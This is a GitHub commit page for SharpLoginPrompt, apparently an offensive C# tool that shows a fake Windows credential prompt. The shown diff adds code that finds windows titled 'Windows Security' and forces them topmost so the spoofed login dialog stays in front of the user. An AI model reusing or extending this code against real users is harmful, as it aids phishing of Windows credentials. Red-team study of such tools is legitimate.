Skip to content

Commit

Permalink
Update Program.cs
Browse files Browse the repository at this point in the history
Update
  • Loading branch information
shantanu561993 authored Dec 16, 2020
1 parent 9a8fcec commit acaed98
Showing 1 changed file with 16 additions and 1 deletion.
17 changes: 16 additions & 1 deletion SharpLoginPrompt/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -121,7 +121,22 @@ private static void TopWindow()
Process procesInfo = Process.GetCurrentProcess();
IntPtr handle = procesInfo.MainWindowHandle;
SetWindowPos(handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW | SWP_NOSENDCHANGING | SWP_NOREPOSITION);

foreach (ProcessThread threadInfo in procesInfo.Threads)
{
//Console.WriteLine("\tthread {0:x}", threadInfo.Id);
IntPtr[] windows = GetWindowHandlesForThread(threadInfo.Id);
if (windows != null && windows.Length > 0)
foreach (IntPtr hWnd in windows)
{
//Console.WriteLine("\t\twindow {0:x}", hWnd.ToInt32());
if (GetTextfromwindow(hWnd) == "Windows Security")
{
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW | SWP_NOSENDCHANGING | SWP_NOREPOSITION);
}
}

}

}

});
Expand Down

0 comments on commit acaed98

Please sign in to comment.